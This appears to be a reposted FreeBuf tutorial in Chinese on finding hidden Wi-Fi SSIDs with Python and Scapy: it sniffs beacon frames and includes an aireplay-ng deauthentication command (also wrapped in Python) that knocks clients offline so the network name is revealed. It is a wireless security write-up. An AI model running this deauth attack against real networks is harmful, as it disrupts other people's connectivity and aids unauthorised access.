Skip to content Skip to main navigation Skip to footer

Python: 一键获取隐藏Wi-Fi SSID:利用Python和Scapy发现隐藏无线热点

从WiFi万能钥匙导致密码泄漏,到央视“315”晚会曝光无线的危险,到前几天京东因无线密码泄漏导致被内网漫游,让我们不得不开始关注无线安全。因为一旦无线被破解,以目前的无线架构的特点来说,基本上就等于进了家门,危险程度还是很高的。

关于无线内网的嗅探和劫持,大家可以关注我之前写的两篇文章: MITMf框架攻击   中间人SSL证书劫持  ,MITMf近来更新的功能非常多,玩起来也很带感,喜欢搞内网的朋友不妨多关注一下。

好了以上全是废话,今天主要想跟大家聊聊如何找出隐藏无线SSID的。

0×00  说说已有的东西

如何找出隐藏无线热点SSID不是一个新的话题,网上搜一下,这种教程也很多,不过大多数是需要借助一些工具比如wireshark或者 CommView等来进行抓包操作辅助完成,大体的方式和流程是像这样:

这样:

这样:

这样:

这样就找到了我们的无线热点了。不多做解释,需要的同学请自行百度。

其实这样的方式也没有什么不好的,因为我比较懒,所以有了这篇文章。

0×01  大体思路

思路是这样的:

1、判断周围环境是否存在隐藏无线热点
2、根据隐藏无线热点特征获取无线热点的BSSID
3、使用aireplay对目标热点进行攻击使客户端下线重连
4、重连过程中抓取包请求同时进行包过滤获取有用信息
5、得到隐藏热点的SSID

0×02  测试环境

惯例说一下测试环境:

系统:     Ubuntu14.04
Python版本:2.7.6
工具:    aircrack套(主要使用airmon-ng和aireplay工具)

0×03 启用监听模式

首先我们需要把我们的网卡启动到监听模式。这里就需要用到aircrack套件了。

使用以下命令开启监听模式:

sudo airmon-ng start wlan0

这里因为我需要最终写到python中,所以使用了os.popen()函数来执行这条命令。

贴上这部分python代码:

#判断是否开启监听模式
ifa = os.popen('ifconfig  | grep mon0 | cut -d " " -f 1')
ifb = ifa.read()
if ifb != 'mon0\n':
	print '正在开启监听模式……\n'
	f = os.popen('airmon-ng start wlan0')
	f.read()
	f.close
if ifb == 'mon0\n':
	pass
ifa.close()

0×04 发现隐藏无线热点

FreeBuf小知识

介绍这部分之前,我们需要首先了解一些关于嗅探到的包的信息,以便于我们后文可以对包进行过滤操作:

wlan.fc.type == 0           管理帧(Management frames)
wlan.fc.type == 1           控制帧(Control frames)
wlan.fc.type == 2           数据帧(Data frames)
wlan.fc.type_subtype == 0   关联请求(Association request)
wlan.fc.type_subtype == 1   关联响应(Association response)
wlan.fc.type_subtype == 2   重连请求(Reassociation request)
wlan.fc.type_subtype == 3   重连响应(Reassociation response)
wlan.fc.type_subtype == 4   帧请求(Probe request)
wlan.fc.type_subtype == 5   帧响应(Probe response)
wlan.fc.type_subtype == 8   信标(Beacon)

/FreeBuf小知识

因为我们这里主要是为了发现隐藏的无线热点,而隐藏SSID只能在连接请求和连接响应中获取,但是连接请求中可能会出现我们不想要的内容(比如手机记忆的但是非我们想要的SSID),所以这里我们主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要获取周围设备所记忆的无线热点名称,则可以用subtype=4辅助发现,这里我们不多做解释。

接下来我将一步一步解释我做这个时所遇到的问题。

首先,我们需要先发现周围的无线热点,发现无线的代码如下:

def PacketHandler(pkt):
	if pkt.haslayer(Dot11):
		if pkt.type == 0 and pkt.subtype == 8:
			if pkt.addr2 not in aps:
				aps.append(pkt.addr2)
				cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
				if re.search('privacy', cap):
					a = '加密状态:Yes\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
					with open('test.txt', 'a+') as t:
					t.write(a+'\n')
					print a
				else:
					b = '加密状态:No\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
					with open('test.txt', 'a+') as t:
					t.write(b+'\n')
					print b
sniff(iface = 'mon0', prn = PacketHandler)

执行之后的结果是这样的

嗅探结果就是这样的,可以看出周围的无线环境比较复杂,小编能在如此复杂的网络环境中保持一颗纯真的童心,实属不易。

细心的同学可能已经发现了,这里的无线混入了一个奇怪的东西:

没错,这个空空的SSID就是我建的隐藏无线热点,到这里就简单啦,只要判断SSID是否为空值就可以了,然后根据空值判断出周围存在隐藏无线,从而获取到BSSID,好像很轻松嘛,可是事实真的如此吗?

在我想要按照以上思路走的时候我才发现事实并非如此。用SSID为空的条件根本获取不到任何东西,这就奇怪了,于是我将无线信息写入到一个文本中,想看一下究竟发生了什么,结果如下:

终于恍然大悟,我解释一下,看明白的直接略过这一步:

隐藏SSID的无线的SSID其实并非为空值,而是将所有的SSID字符以十六进制的0×00进行填充,因为我们的设备都无法正常显示0×00这个值,所以看起来就像是空值。

知道了原因就好解决了,我使用了binascii库进行了值的转换,解决代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':#判断名称是否为空
    print '发现隐藏无线热点! BSSID是 %s\n' %pkt.addr2

因为我们无法确定目标热点的SSID究竟使用了几个字符,而一般的无线名称是不会出现0×00这个值的,因此我切取了前两个值进行判断。

0×05 获取BSSID并进行攻击

获取BSSID代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':
    addr = pkt.addr2

好吧就是一个赋值操作 (唉?谁扔的臭鸡蛋?你出来!)

然后进行攻击:

攻击的过程实际就是向热点发送deauth包,然后强制客户端下线,这里我们使用aireplay,命令如下:

aireplay-ng --deauth 0 -a addr mon0 --ignore-negative-one

执行结果是这样的:

攻击一会儿我们的目的就达到了,然后手动停止攻击,写成python代码如下:

os.system('aireplay-ng --deauth 0 -a '+addr+' mon0 --ignore-negative-one')

但是需要注意的是,在我实际测试的过程中,即便是不进行攻击操作也是可以获取到SSID的,所以如果不是长时间无法获取SSID,一般我们不用这个。

0×06 抓取过滤

接下来就是抓包时间,同时对抓到的包进行过滤处理,主要代码如下:

if pkt.haslayer(Dot11):
	if pkt.addr2 == addr:
		try:
			#print pkt.info#该行为调试行
			if binascii.hexlify(pkt.info)[:2] != '00':
			if pkt.addr2 not in aps2:
				aps2.append(pkt.addr2)
				cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
				print '隐藏无线热点名称是:'+pkt.info+'\n'
				if re.search("privacy", cap):
					print pkt.info+'已加密'
				else:
					print pkt.info+'未加密'
				print '正在关闭监听模式……\n'
				time.sleep(1)
				t = os.popen('airmon-ng stop mon0')
				t.read()
				t.close
		except:
		pass

这里对代码进行简单的操作说明:

1、这里我做了容错处理,因为在实际使用过程中会出现稍长时间的sniff会直接报错退出,原因大概是部分包并不存在pkt.info属性导致
2、这里使用aps2[]数组进行了简单的输出限制,防止同一个BSSID多次重复被记录
3、cap参数格式化存储了无线的加密部分的信息,以便于下文的加密判断
4、完成任务后自动关闭监听模式。这里没有进行枚举,如果你自行开启监听模式,端口为mon1,2,3……将无法关闭,注意一下

0×07 运行结果

工具介绍完了,然后我们运行一下,结果如下:

再附上一张使用了aireplay攻击后的图片:

0×08 写在最后

惯例总结一下,工具没什么难度,而且也不甚完善,如果有小伙伴有更好的解决方案欢迎在下面吐槽交流,欢迎各种不涉及人身攻击的各种喷

目前也在写其他的关于无线的小玩意儿,以后再跟大家分享。白白!

最后奉上源代码: https://github.com/linvex/DiscoverHiddenSSID

*作者:FreeBuf小编/xia0k,转载请来自FreeBuf黑客与极客(FreeBuf.COM)

原文:http://www.freebuf.com/articles/wireless/66118.html

0 Comments

There are no comments yet

Leave a comment

Your email address will not be published.